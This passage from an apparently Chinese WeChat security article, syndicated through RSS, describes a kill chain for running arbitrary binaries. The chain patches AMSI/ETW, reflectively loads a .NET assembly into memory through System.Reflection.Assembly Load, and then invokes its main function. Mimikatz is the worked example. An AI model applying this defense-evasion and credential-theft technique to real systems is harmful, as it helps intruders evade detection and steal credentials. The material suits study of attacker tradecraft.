仅用于尝试隐藏真正的二进制文件，因此有时它可能无需进一步的绕过方法即可工作，但最重要的一行是从 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">System.Reflection.Assembly</p> .<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NET</p> 类调用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Load</p> 函数以将二进制文件加载到内存中. 之后，可以简单地用“<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">[ClassName.Program]::main([string[]]$args)</p>”调用它的主函数</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">因此，可以执行以下杀伤链来执行任何二进制文件：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">补丁 AMSI/ETW。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">反射加载并执行程序集。</p></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">对于这个 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PoC</p>，执行 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Mimikatz</p>，当然可以随意使用任何其他的。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><strong style="color: rgb(119, 48, 152);">反射加载 Mimikatz</strong><img data-ratio="0.6268518518518519" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a975a6fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kStWeNpGJ1JZ0VEjFRKZoDtMLJXVqgoucHZOwExibic8pmTrnxJSxxiaAQ%2F640%3Fwx_fmt%3Dpng"/></p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">请注意，如前所述，某些二进制文件可能不需要绕过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AMSI</p>，具体取决于在脚本中应用的二进制文件的字符串表示形式。但由于 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Invoke-Mimikatz</p> 广为人知，需要在这个例子中这样做。</div><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请点一下右下角的“在看”，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙点赞， 谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙转发，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">暗号: 048160</h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a975a6fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kStWeNpGJ1JZ0VEjFRKZoDtMLJXVqgoucHZOwExibic8pmTrnxJSxxiaAQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247489467">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1845a598&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489467%26idx%3D1%26sn%3D0fcca6f8a7230107aa2d9d14f3307ed8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 23 May 2023 08:11:00 +0800</pubDate>
    </item>
  </channel>
</rss>